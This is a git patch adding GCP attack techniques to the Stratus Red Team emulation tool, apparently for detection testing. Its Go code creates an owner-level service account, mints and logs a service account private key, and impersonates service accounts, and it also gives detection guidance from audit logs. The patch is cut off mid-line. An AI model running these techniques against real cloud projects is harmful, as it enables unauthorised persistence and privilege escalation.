From 7ed4953e69c784f61f2e0b60eb0b0744b6c62b5c Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Sat, 13 Aug 2022 15:23:05 +0000 Subject: [PATCH] Initial GCP support (#160) Co-authored-by: Christophe Tafani-Dereeper Co-authored-by: rileydakota --- ...ersistence.create-admin-service-account.md | 48 ++++ ....persistence.create-service-account-key.md | 47 ++++ ...escalation.impersonate-service-accounts.md | 155 ++++++++++++ docs/attack-techniques/GCP/index.md | 21 ++ docs/attack-techniques/list.md | 3 + docs/attack-techniques/supported-platforms.md | 9 +- docs/user-guide/getting-started.md | 15 +- v2/go.mod | 7 +- .../create-admin-service-account/main.go | 225 ++++++++++++++++++ .../create-admin-service-account/main.tf | 19 ++ .../create-service-account-key/main.go | 103 ++++++++ .../create-service-account-key/main.tf | 20 ++ .../impersonate-service-accounts/main.go | 220 +++++++++++++++++ .../impersonate-service-accounts/main.tf | 53 +++++ v2/internal/attacktechniques/main.go | 3 + v2/internal/providers/gcp.go | 56 +++++ v2/internal/utils/functions.go | 3 + v2/pkg/stratus/platform.go | 3 + v2/pkg/stratus/providers.go | 7 + v2/pkg/stratus/registry_test.go | 4 + v2/pkg/stratus/runner/runner.go | 1 + v2/tools/generate-techniques-documentation.go | 2 + 22 files changed, 1015 insertions(+), 9 deletions(-) create mode 100755 docs/attack-techniques/GCP/gcp.persistence.create-admin-service-account.md create mode 100755 docs/attack-techniques/GCP/gcp.persistence.create-service-account-key.md create mode 100755 docs/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts.md create mode 100755 docs/attack-techniques/GCP/index.md create mode 100644 v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.go create mode 100644 v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.tf create mode 100644 v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.go create mode 100644 v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.tf create mode 100644 v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.go create mode 100644 v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.tf create mode 100644 v2/internal/providers/gcp.go diff --git a/docs/attack-techniques/GCP/gcp.persistence.create-admin-service-account.md b/docs/attack-techniques/GCP/gcp.persistence.create-admin-service-account.md new file mode 100755 index 00000000..677be981 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.persistence.create-admin-service-account.md @@ -0,0 +1,48 @@ +--- +title: Create an Admin GCP Service Account +--- + +# Create an Admin GCP Service Account + + + + +Platform: GCP + +## MITRE ATT&CK Tactics + + +- Persistence +- Privilege Escalation + +## Description + + +Establishes persistence by creating a new service account and assigning it +owner permissions inside the current GCP project. + +Warm-up: None + +Detonation: + +- Create a service account +- Update the current GCP project's IAM policy to bind the service account to the owner role' + +References: +- https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.persistence.create-admin-service-account +``` +## Detection + + +Using the following GCP Admin Activity audit logs events: + +- google.iam.admin.v1.CreateServiceAccount +- SetIamPolicy with resource.type=project + + diff --git a/docs/attack-techniques/GCP/gcp.persistence.create-service-account-key.md b/docs/attack-techniques/GCP/gcp.persistence.create-service-account-key.md new file mode 100755 index 00000000..359ca406 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.persistence.create-service-account-key.md @@ -0,0 +1,47 @@ +--- +title: Create a GCP Service Account Key +--- + +# Create a GCP Service Account Key + + + + +Platform: GCP + +## MITRE ATT&CK Tactics + + +- Persistence +- Privilege Escalation + +## Description + + +Establishes persistence by creating a service account key on an existing service account. + +Warm-up: + +- Create a service account + +Detonation: + +- Create a new key for the service account + +References: + +- https://expel.com/blog/incident-report-spotting-an-attacker-in-gcp/ +- https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.persistence.create-service-account-key +``` +## Detection + + +Using GCP Admin Activity audit logs event google.iam.admin.v1.CreateServiceAccountKey. + + diff --git a/docs/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts.md b/docs/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts.md new file mode 100755 index 00000000..027792fb --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts.md @@ -0,0 +1,155 @@ +--- +title: Impersonate GCP Service Accounts +--- + +# Impersonate GCP Service Accounts + + + idempotent + +Platform: GCP + +## MITRE ATT&CK Tactics + + +- Privilege Escalation + +## Description + + +Attempts to impersonate several GCP service accounts. Service account impersonation in GCP allows to retrieve +temporary credentials allowing to act as a service account. + +Warm-up: + +- Create 10 GCP service accounts +- Grant the current user roles/iam.serviceAccountTokenCreator on one of these service accounts + +Detonation: + +- Attempt to impersonate each of the service accounts +- One impersonation request will succeed, simulating a successful privilege escalation + + +!!! info + + GCP takes a few seconds to propagate the new roles/iam.serviceAccountTokenCreator role binding to the current user. + + It is recommended to first warm up this attack technique (stratus warmup ...), wait for 30 seconds, then detonate it. + +References: + +- https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ +- https://cloud.google.com/iam/docs/impersonating-service-accounts + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.privilege-escalation.impersonate-service-accounts +``` +## Detection + + +Using GCP Admin Activity audit logs event GenerateAccessToken. + +Sample successful event (shortened for clarity): + +```json hl_lines="12 21" +{ + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "authenticationInfo": { + "principalEmail": "user@domain.tld", + "principalSubject": "user:user@domain.tld" + }, + "requestMetadata": { + "callerIp": "(calling IP)", + }, + "serviceName": "iamcredentials.googleapis.com", + "methodName": "GenerateAccessToken", + "authorizationInfo": [ + { + "permission": "iam.serviceAccounts.getAccessToken", + "granted": true, + "resourceAttributes": {} + } + ], + "request": { + "name": "projects/-/serviceAccounts/impersonated-service-account@project-id.iam.gserviceaccount.com", + "@type": "type.googleapis.com/google.iam.credentials.v1.GenerateAccessTokenRequest" + } + }, + "resource": { + "type": "service_account", + "labels": { + "unique_id": "105711361070066902665", + "email_id": "impersonated-service-account@project-id.iam.gserviceaccount.com", + "project_id": "project-id" + } + }, + "severity": "INFO", + "logName": "projects/project-id/logs/cloudaudit.googleapis.com%2Fdata_access" +} +``` + + +When impersonation fails, the generated event **does not contain** the identity of the caller, as explained in the +[GCP documentation](https://cloud.google.com/logging/docs/audit#user-id): + +> For privacy reasons, the caller's principal email address is redacted from an audit log if the operation is +> read-only and fails with a "permission denied" error. The only exception is when the caller is a service +> account in the Google Cloud organization associated with the resource; in this case, the email address isn't redacted. + +Sample **unsuccessful** event (shortened for clarity): + +```json hl_lines="5 6 13 38" +{ + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "status": { + "code": 7, + "message": "PERMISSION_DENIED" + }, + "authenticationInfo": {}, + "requestMetadata": { + "callerIp": "(calling IP)" + }, + "serviceName": "iamcredentials.googleapis.com", + "methodName": "GenerateAccessToken", + "authorizationInfo": [ + { + "permission": "iam.serviceAccounts.getAccessToken", + "resourceAttributes": {} + } + ], + "resourceName": "projects/-/serviceAccounts/103566171230474107362", + "request": { + "@type": "type.googleapis.com/google.iam.credentials.v1.GenerateAccessTokenRequest", + "name": "projects/-/serviceAccounts/target-service-account@project-id.iam.gserviceaccount.com" + }, + "metadata": { + "identityDelegationChain": [ + "projects/-/serviceAccounts/target-service-account@project-id.iam.gserviceaccount.com" + ] + } + }, + "resource": { + "type": "service_account", + "labels": { + "email_id": "target-service-account@project-id.iam.gserviceaccount.com", + "project_id": "project-id" + } + }, + "severity": "ERROR", + "logName": "projects/project-id/logs/cloudaudit.googleapis.com%2Fdata_access" +} +``` + +Some detection strategies may include: + +* Alerting on unsuccessful impersonation attempts +* Alerting when the same IP address / user-agent attempts to impersonate several service accounts in a +short amount of time (successfully or not) + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md new file mode 100755 index 00000000..832c0dbf --- /dev/null +++ b/docs/attack-techniques/GCP/index.md @@ -0,0 +1,21 @@ +# GCP + +This page contains the Stratus attack techniques for GCP, grouped by MITRE ATT&CK Tactic. +Note that some Stratus attack techniques may correspond to more than a single ATT&CK Tactic. + + +## Persistence + +- [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md) + +- [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md) + + +## Privilege Escalation + +- [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md) + +- [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md) + +- [Impersonate GCP Service Accounts](./gcp.privilege-escalation.impersonate-service-accounts.md) + diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 677e6e74..8cb43c94 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -39,6 +39,9 @@ This page contains the list of all Stratus Attack Techniques. | [Execute Command on Virtual Machine using Custom Script Extension](./azure/azure.execution.vm-custom-script-extension.md) | [Azure](./azure/index.md) | Execution | | [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution | | [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration | +| [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation | +| [Create a GCP Service Account Key](./GCP/gcp.persistence.create-service-account-key.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation | +| [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation | | [Dump All Secrets](./kubernetes/k8s.credential-access.dump-secrets.md) | [Kubernetes](./kubernetes/index.md) | Credential Access | | [Steal Pod Service Account Token](./kubernetes/k8s.credential-access.steal-serviceaccount-token.md) | [Kubernetes](./kubernetes/index.md) | Credential Access | | [Create Admin ClusterRole](./kubernetes/k8s.persistence.create-admin-clusterrole.md) | [Kubernetes](./kubernetes/index.md) | Persistence, Privilege Escalation | diff --git a/docs/attack-techniques/supported-platforms.md b/docs/attack-techniques/supported-platforms.md index 1b1d57df..66b1b15d 100644 --- a/docs/attack-techniques/supported-platforms.md +++ b/docs/attack-techniques/supported-platforms.md @@ -1,9 +1,4 @@ # Supported Platforms -Stratus Red Team currently supports AWS, Azure, and Kubernetes. -See [Connecting to your cloud account](https://stratus-red-team.cloud/user-guide/getting-started/#connecting-to-your-cloud-account) for setup instructions. - -## Future Support for Additional Platforms - -We plan to add support for [GCP](https://github.com/DataDog/stratus-red-team/issues/53) in the future. -If you're interested, go upvote the corresponding issue! \ No newline at end of file +Stratus Red Team currently supports AWS, Azure, GCP and Kubernetes. +See [Connecting to your cloud account](https://stratus-red-team.cloud/user-guide/getting-started/#connecting-to-your-cloud-account) for setup instructions. \ No newline at end of file diff --git a/docs/user-guide/getting-started.md b/docs/user-guide/getting-started.md index 2336b514..1082c098 100644 --- a/docs/user-guide/getting-started.md +++ b/docs/user-guide/getting-started.md @@ -138,13 +138,26 @@ $ az account list export AZURE_SUBSCRIPTION_ID=45e0ad3f-ff94-499a-a2f0-bbb884e9c4a3 ``` - !!! Note When using Stratus Red Team with Azure, the location in which resources are created cannot be configured and is fixed to `West US` (California). See why [here](https://github.com/DataDog/stratus-red-team/discussions/125). +### GCP + +- Use the [gcloud CLI](https://cloud.google.com/sdk/gcloud) to authenticate against GCP: + +```bash +gcloud auth application-default login +``` + +- Then, set your project ID: + +```bash +export GOOGLE_PROJECT=your-project-id +``` + ### Kubernetes Stratus Red Team does not create a Kubernetes cluster for you. diff --git a/v2/go.mod b/v2/go.mod index 1e77a59e..ba3edf0e 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -35,6 +35,7 @@ require ( ) require ( + cloud.google.com/go v0.99.0 // indirect github.com/Azure/azure-sdk-for-go/sdk/internal v1.0.0 // indirect github.com/AzureAD/microsoft-authentication-library-for-go v0.4.0 // indirect github.com/Microsoft/go-winio v0.5.0 // indirect @@ -50,9 +51,11 @@ require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/go-logr/logr v1.2.0 // indirect github.com/gogo/protobuf v1.3.2 // indirect + github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.2 // indirect github.com/google/go-cmp v0.5.8 // indirect github.com/google/gofuzz v1.1.0 // indirect + github.com/googleapis/gax-go/v2 v2.1.1 // indirect github.com/googleapis/gnostic v0.5.5 // indirect github.com/imdario/mergo v0.3.12 // indirect github.com/inconshreveable/mousetrap v1.0.0 // indirect @@ -68,11 +71,13 @@ require ( github.com/pmezard/go-difflib v1.0.0 // indirect github.com/spf13/pflag v1.0.5 // indirect github.com/stretchr/objx v0.2.0 // indirect + go.opencensus.io v0.23.0 // indirect golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4 // indirect golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8 // indirect golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect golang.org/x/time v0.0.0-20210723032227-1f47c861a9ac // indirect google.golang.org/appengine v1.6.7 // indirect + google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa // indirect google.golang.org/protobuf v1.27.1 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect @@ -99,6 +104,6 @@ require ( golang.org/x/crypto v0.0.0-20220511200225-c6db032c6c88 // indirect golang.org/x/sys v0.0.0-20220517195934-5e4e11fc645e // indirect golang.org/x/text v0.3.7 // indirect - google.golang.org/api v0.63.0 // indirect + google.golang.org/api v0.63.0 google.golang.org/grpc v1.43.0 // indirect ) diff --git a/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.go b/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.go new file mode 100644 index 00000000..477acfbb --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.go @@ -0,0 +1,225 @@ +package gcp + +import ( + "context" + _ "embed" + "errors" + "fmt" + "github.com/datadog/stratus-red-team/v2/internal/providers" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + cloudresourcemanager "google.golang.org/api/cloudresourcemanager/v1" + iam "google.golang.org/api/iam/v1" + "log" +) + +//go:embed main.tf +var tf []byte + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.persistence.create-admin-service-account", + FriendlyName: "Create an Admin GCP Service Account", + Description: ` +Establishes persistence by creating a new service account and assigning it +owner permissions inside the current GCP project. + +Warm-up: None + +Detonation: + +- Create a service account +- Update the current GCP project's IAM policy to bind the service account to the owner role' + +References: +- https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ +`, + Detection: ` +Using the following GCP Admin Activity audit logs events: + +- google.iam.admin.v1.CreateServiceAccount +- SetIamPolicy with resource.type=project +`, + Platform: stratus.GCP, + IsIdempotent: false, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence, mitreattack.PrivilegeEscalation}, + Detonate: detonate, + Revert: revert, + PrerequisitesTerraformCode: tf, + }) +} + +// Note: `roles/owner` cannot be granted through the API +const roleToGrant = "roles/owner" + +func detonate(params map[string]string) error { + gcp := providers.GCP() + serviceAccountName := params["service_account_name"] + serviceAccountEmail := getServiceAccountEmail(serviceAccountName) + + if err := createServiceAccount(gcp, serviceAccountName); err != nil { + return err + } + + if err := assignProjectRole(gcp, serviceAccountEmail, roleToGrant); err != nil { + return err + } + + return nil +} + +// createServiceAccount creates a new service account inside of a GCP project +func createServiceAccount(gcp *providers.GcpProvider, serviceAccountName string) error { + iamClient, err := iam.NewService(context.Background(), gcp.Options()) + if err != nil { + return errors.New("Error instantiating GCP IAM Client: " + err.Error()) + } + serviceAccountDisplayName := fmt.Sprintf("%s (service account used by stratus red team)", serviceAccountName) + serviceAccountEmail := getServiceAccountEmail(serviceAccountName) + path := fmt.Sprintf("projects/%s", gcp.GetProjectId()) + + log.Println("Creating service account " + serviceAccountName) + _, err = iamClient.Projects.ServiceAccounts.Create(path, &iam.CreateServiceAccountRequest{ + AccountId: serviceAccountName, + ServiceAccount: &iam.ServiceAccount{DisplayName: serviceAccountDisplayName}, + }).Do() + if err != nil { + return errors.New("Unable to create service account: " + err.Error()) + } + log.Println("Successfully created service account " + serviceAccountEmail) + return nil +} + +// assignProjectRole grants a project-wide role to a specific service account +// it works the same as 'gcloud projects add-iam-policy-binding': +// * Step 1: Read the project's IAM policy using [getIamPolicy](https://cloud.google.com/resource-manager/reference/rest/v1/projects/getIamPolicy) +// * Step 2: Create a binding, or add the service account to an existing binding for the role to grant +// * Step 3: Update the project's IAM policy using [setIamPolicy](https://cloud.google.com/resource-manager/reference/rest/v1/projects/setIamPolicy) +func assignProjectRole(gcp *providers.GcpProvider, serviceAccountEmail string, roleToGrant string) error { + resourceManager, err := cloudresourcemanager.NewService(context.Background(), gcp.Options()) + if err != nil { + return errors.New("unable to instantiate the GCP cloud resource manager: " + err.Error()) + } + + projectPolicy, err := resourceManager.Projects.GetIamPolicy(gcp.GetProjectId(), &cloudresourcemanager.GetIamPolicyRequest{}).Do() + if err != nil { + return err + } + var bindingFound = false + bindingValue := fmt.Sprintf("serviceAccount:" + serviceAccountEmail) + for _, binding := range projectPolicy.Bindings { + if binding.Role == roleToGrant { + bindingFound = true + log.Println("Adding the service account to an existing binding in the project's IAM policy to grant " + roleToGrant) + binding.Members = append(binding.Members, bindingValue) + } + } + if !bindingFound { + log.Println("Creating a new binding in the project's IAM policy to grant " + roleToGrant) + projectPolicy.Bindings = append(projectPolicy.Bindings, &cloudresourcemanager.Binding{ + Role: roleToGrant, + Members: []string{bindingValue}, + }) + } + + _, err = resourceManager.Projects.SetIamPolicy(gcp.GetProjectId(), &cloudresourcemanager.SetIamPolicyRequest{ + Policy: projectPolicy, + }).Do() + + if err != nil { + return fmt.Errorf("Failed to update project IAM policy: " + err.Error()) + } + return nil +} + +func revert(params map[string]string) error { + gcp := providers.GCP() + serviceAccountName := params["service_account_name"] + serviceAccountEmail := getServiceAccountEmail(serviceAccountName) + + // Attempt to remove the role from the service account in the project's IAM policy + // fail with a warning (but continue) in case of error + unassignProjectRole(gcp, serviceAccountEmail, roleToGrant) + + // Remove service account itself + return removeServiceAccount(gcp, serviceAccountName) +} + +// unassignProjectRole un-assigns a project-wide role to a specific service account +// it works the same as 'gcloud projects remove-iam-policy-binding': +// * Step 1: Read the project's IAM policy using [getIamPolicy](https://cloud.google.com/resource-manager/reference/rest/v1/projects/getIamPolicy) +// * Step 2: Remove a binding, or remove the service account from an existing binding for the role to grant +// * Step 3: Update the project's IAM policy using [setIamPolicy](https://cloud.google.com/resource-manager/reference/rest/v1/projects/setIamPolicy) +func unassignProjectRole(gcp *providers.GcpProvider, serviceAccountEmail string, roleToGrant string) { + resourceManager, err := cloudresourcemanager.NewService(context.Background(), gcp.Options()) + if err != nil { + log.Println("Warning: unable to instantiate the GCP cloud resource manager: " + err.Error()) + return + } + + projectPolicy, err := resourceManager.Projects.GetIamPolicy(gcp.GetProjectId(), &cloudresourcemanager.GetIamPolicyRequest{}).Do() + if err != nil { + log.Println("warning: unable to retrieve the project's IAM policy") + return + } + var bindingFound = false + bindingValue := fmt.Sprintf("serviceAccount:" + serviceAccountEmail) + for _, binding := range projectPolicy.Bindings { + if binding.Role == roleToGrant { + index := indexOf(binding.Members, bindingValue) + if index > -1 { + bindingFound = true + binding.Members = remove(binding.Members, index) + } + } + } + if bindingFound { + log.Println("Updating project's IAM policy to remove reference to the service account") + _, err := resourceManager.Projects.SetIamPolicy(gcp.GetProjectId(), &cloudresourcemanager.SetIamPolicyRequest{ + Policy: projectPolicy, + }).Do() + if err != nil { + log.Println("Warning: unable to update project's IAM policy: " + err.Error()) + } + } else { + log.Println("Warning: did not find reference to the service account in the project's IAM policy") + } + +} + +func removeServiceAccount(gcp *providers.GcpProvider, serviceAccountName string) error { + iamClient, err := iam.NewService(context.Background(), gcp.Options()) + if err != nil { + return errors.New("Error instantiating GCP IAM Client: " + err.Error()) + } + + log.Println("Removing service account " + serviceAccountName) + _, err = iamClient.Projects.ServiceAccounts.Delete(getServiceAccountPath(serviceAccountName)).Do() + if err != nil { + return errors.New("Unable to delete service account: " + err.Error()) + } + return nil +} + +// Utility functions + +func getServiceAccountPath(name string) string { + return fmt.Sprintf("projects/-/serviceAccounts/%s", getServiceAccountEmail(name)) +} + +func getServiceAccountEmail(name string) string { + return fmt.Sprintf("%s@%s.iam.gserviceaccount.com", name, providers.GCP().GetProjectId()) +} + +func remove(slice []string, index int) []string { + return append(slice[:index], slice[index+1:]...) +} + +func indexOf(slice []string, searchValue string) int { + for i, current := range slice { + if current == searchValue { + return i + } + } + return -1 +} diff --git a/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.tf b/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.tf new file mode 100644 index 00000000..afed8f25 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account/main.tf @@ -0,0 +1,19 @@ +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +resource "random_string" "suffix" { + length = 6 + special = false + min_lower = 3 + min_numeric = 3 +} + +output "service_account_name" { + value = format("stratus-red-team-sa-%s", random_string.suffix.result) +} \ No newline at end of file diff --git a/v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.go b/v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.go new file mode 100644 index 00000000..c063f171 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.go @@ -0,0 +1,103 @@ +package gcp + +import ( + "context" + _ "embed" + "errors" + "log" + + "encoding/base64" + + "github.com/datadog/stratus-red-team/v2/internal/providers" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + iam "google.golang.org/api/iam/v1" +) + +//go:embed main.tf +var tf []byte + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.persistence.create-service-account-key", + FriendlyName: "Create a GCP Service Account Key", + Description: ` +Establishes persistence by creating a service account key on an existing service account. + +Warm-up: + +- Create a service account + +Detonation: + +- Create a new key for the service account + +References: + +- https://expel.com/blog/incident-report-spotting-an-attacker-in-gcp/ +- https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ +`, + Detection: ` +Using GCP Admin Activity audit logs event google.iam.admin.v1.CreateServiceAccountKey. +`, + Platform: stratus.GCP, + IsIdempotent: false, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence, mitreattack.PrivilegeEscalation}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +func detonate(params map[string]string) error { + saEmail := params["sa_email"] + ctx := context.Background() + service, err := iam.NewService(ctx, providers.GCP().Options()) + if err != nil { + return errors.New("Error instantiating GCP SDK Client: " + err.Error()) + } + + log.Println("Creating service account key on service account " + saEmail) + resource := "projects/-/serviceAccounts/" + saEmail + request := &iam.CreateServiceAccountKeyRequest{} + key, err := service.Projects.ServiceAccounts.Keys.Create(resource, request).Do() + if err != nil { + return errors.New("Unable to create service account key: " + err.Error()) + } + log.Println("Service account ley successfully created!") + jsonKeyFile, _ := base64.StdEncoding.DecodeString(key.PrivateKeyData) + + log.Println("Service account key data: \n" + string(jsonKeyFile)) + + return nil +} + +func revert(params map[string]string) error { + saEmail := params["sa_email"] + resource := "projects/-/serviceAccounts/" + saEmail + + ctx := context.Background() + service, err := iam.NewService(ctx, providers.GCP().Options()) + if err != nil { + return errors.New("") + } + + keys, err := service.Projects.ServiceAccounts.Keys.List(resource).Do() + if err != nil { + return errors.New("Failed to list Service Account Keys: " + err.Error()) + } + + for _, key := range keys.Keys { + if key.KeyType == "SYSTEM_MANAGED" { + log.Println("Key is a SYSTEM_MANAGED key and won't be deleted: " + key.Name) + continue + } + log.Println("Deleting service account key " + key.Name) + _, err := service.Projects.ServiceAccounts.Keys.Delete(key.Name).Do() + if err != nil { + return errors.New("Failed to delete service account key: " + err.Error()) + } + } + + return nil +} diff --git a/v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.tf b/v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.tf new file mode 100644 index 00000000..2a30cf4b --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/create-service-account-key/main.tf @@ -0,0 +1,20 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 4.28.0" + } + } +} + +resource "google_service_account" "service_account" { + account_id = "target-sa-stratus-red-team" +} + +output "sa_email" { + value = google_service_account.service_account.email +} + +output "display" { + value = format("Service account %s ready", google_service_account.service_account.email) +} \ No newline at end of file diff --git a/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.go b/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.go new file mode 100644 index 00000000..147d313f --- /dev/null +++ b/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.go @@ -0,0 +1,220 @@ +package gcp + +import ( + "context" + _ "embed" + "fmt" + "github.com/datadog/stratus-red-team/v2/internal/providers" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + "google.golang.org/api/iamcredentials/v1" + "log" + "strconv" + "strings" +) + +//go:embed main.tf +var tf []byte + +func init() { + const codeBlock = "```" + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.privilege-escalation.impersonate-service-accounts", + FriendlyName: "Impersonate GCP Service Accounts", + Description: ` +Attempts to impersonate several GCP service accounts. Service account impersonation in GCP allows to retrieve +temporary credentials allowing to act as a service account. + +Warm-up: + +- Create 10 GCP service accounts +- Grant the current user roles/iam.serviceAccountTokenCreator on one of these service accounts + +Detonation: + +- Attempt to impersonate each of the service accounts +- One impersonation request will succeed, simulating a successful privilege escalation + + +!!! info + + GCP takes a few seconds to propagate the new roles/iam.serviceAccountTokenCreator role binding to the current user. + + It is recommended to first warm up this attack technique (stratus warmup ...), wait for 30 seconds, then detonate it. + +References: + +- https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ +- https://cloud.google.com/iam/docs/impersonating-service-accounts +`, + Detection: ` +Using GCP Admin Activity audit logs event GenerateAccessToken. + +Sample successful event (shortened for clarity): + +` + codeBlock + `json hl_lines="12 21" +{ + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "authenticationInfo": { + "principalEmail": "user@domain.tld", + "principalSubject": "user:user@domain.tld" + }, + "requestMetadata": { + "callerIp": "(calling IP)", + }, + "serviceName": "iamcredentials.googleapis.com", + "methodName": "GenerateAccessToken", + "authorizationInfo": [ + { + "permission": "iam.serviceAccounts.getAccessToken", + "granted": true, + "resourceAttributes": {} + } + ], + "request": { + "name": "projects/-/serviceAccounts/impersonated-service-account@project-id.iam.gserviceaccount.com", + "@type": "type.googleapis.com/google.iam.credentials.v1.GenerateAccessTokenRequest" + } + }, + "resource": { + "type": "service_account", + "labels": { + "unique_id": "105711361070066902665", + "email_id": "impersonated-service-account@project-id.iam.gserviceaccount.com", + "project_id": "project-id" + } + }, + "severity": "INFO", + "logName": "projects/project-id/logs/cloudaudit.googleapis.com%2Fdata_access" +} +` + codeBlock + ` + + +When impersonation fails, the generated event **does not contain** the identity of the caller, as explained in the +[GCP documentation](https://cloud.google.com/logging/docs/audit#user-id): + +> For privacy reasons, the caller's principal email address is redacted from an audit log if the operation is +> read-only and fails with a "permission denied" error. The only exception is when the caller is a service +> account in the Google Cloud organization associated with the resource; in this case, the email address isn't redacted. + +Sample **unsuccessful** event (shortened for clarity): + +` + codeBlock + `json hl_lines="5 6 13 38" +{ + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "status": { + "code": 7, + "message": "PERMISSION_DENIED" + }, + "authenticationInfo": {}, + "requestMetadata": { + "callerIp": "(calling IP)" + }, + "serviceName": "iamcredentials.googleapis.com", + "methodName": "GenerateAccessToken", + "authorizationInfo": [ + { + "permission": "iam.serviceAccounts.getAccessToken", + "resourceAttributes": {} + } + ], + "resourceName": "projects/-/serviceAccounts/103566171230474107362", + "request": { + "@type": "type.googleapis.com/google.iam.credentials.v1.GenerateAccessTokenRequest", + "name": "projects/-/serviceAccounts/target-service-account@project-id.iam.gserviceaccount.com" + }, + "metadata": { + "identityDelegationChain": [ + "projects/-/serviceAccounts/target-service-account@project-id.iam.gserviceaccount.com" + ] + } + }, + "resource": { + "type": "service_account", + "labels": { + "email_id": "target-service-account@project-id.iam.gserviceaccount.com", + "project_id": "project-id" + } + }, + "severity": "ERROR", + "logName": "projects/project-id/logs/cloudaudit.googleapis.com%2Fdata_access" +} +` + codeBlock + ` + +Some detection strategies may include: + +* Alerting on unsuccessful impersonation attempts +* Alerting when the same IP address / user-agent attempts to impersonate several service accounts in a +short amount of time (successfully or not) +`, + Platform: stratus.GCP, + IsIdempotent: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.PrivilegeEscalation}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + }) +} + +func detonate(params map[string]string) error { + serviceAccountEmails := strings.Split(params["service_account_emails"], ",") + numServiceAccounts := 